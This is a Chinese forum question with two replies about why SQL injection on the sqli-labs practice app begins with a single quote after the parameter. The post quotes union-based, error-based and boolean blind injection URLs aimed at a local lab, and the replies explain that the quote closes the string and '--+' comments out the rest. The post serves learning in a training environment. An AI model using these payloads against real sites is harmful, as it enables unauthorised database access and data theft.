在进行数字型注入时要先在可控参数后加一个单引号的目的?

发布于 2022-09-03 12:58:22 字数 656 浏览 30 评论 0

在学习WooYun WiKi中SQL注入相关内容时发现的(内容如下),求解释。
3.1.1 可显注入代码示例:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=0 union select 1,email_id,3 from  emails where id=3 --+

3.1.2 报错注入代码示例:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=0 union select 1,count(*),concat((select email_id from emails where id=5),0x2a,floor(rand(0)*2))x from users group by x--+

3.1.3 盲注代码示例:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select substr(email_id,1,1) from emails where id=3) > 'a' --+

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(2

原谅过去的我 2022-09-10 12:58:23

sql注入没玩过,答案猜测如下。

题主贴的第一段:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=0 union select 1,email_id,3 from emails where id=3 --+

红色这一串字符被api全部识别为id的传参

1' and 1=0 union select 1,email_id,3 from emails where id=3 --+

传入一段sql中:

string str = "select * from table_a where id = '" + id + "'";

引号的作用显而易见:它是为了匹配sql中前一个引号;
另外,我猜测后面 --+ 的作用:注释后面的sql语句。
(注释符不是--么,怎么多了个+号。。。)

至此实现了sql注入,跳过程序原本意图,执行注入sql

秋日私语 2022-09-10 12:58:23

第一很简单,不解释了
第二:报错注入也有很多种函数可用,这个floor跟group by冲突造成报错回显。
第三:盲注有延时,有bool,我这里有个延时的

http://blog.163.com/passw0a_d/blog/static/2508070612015111082725791/
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文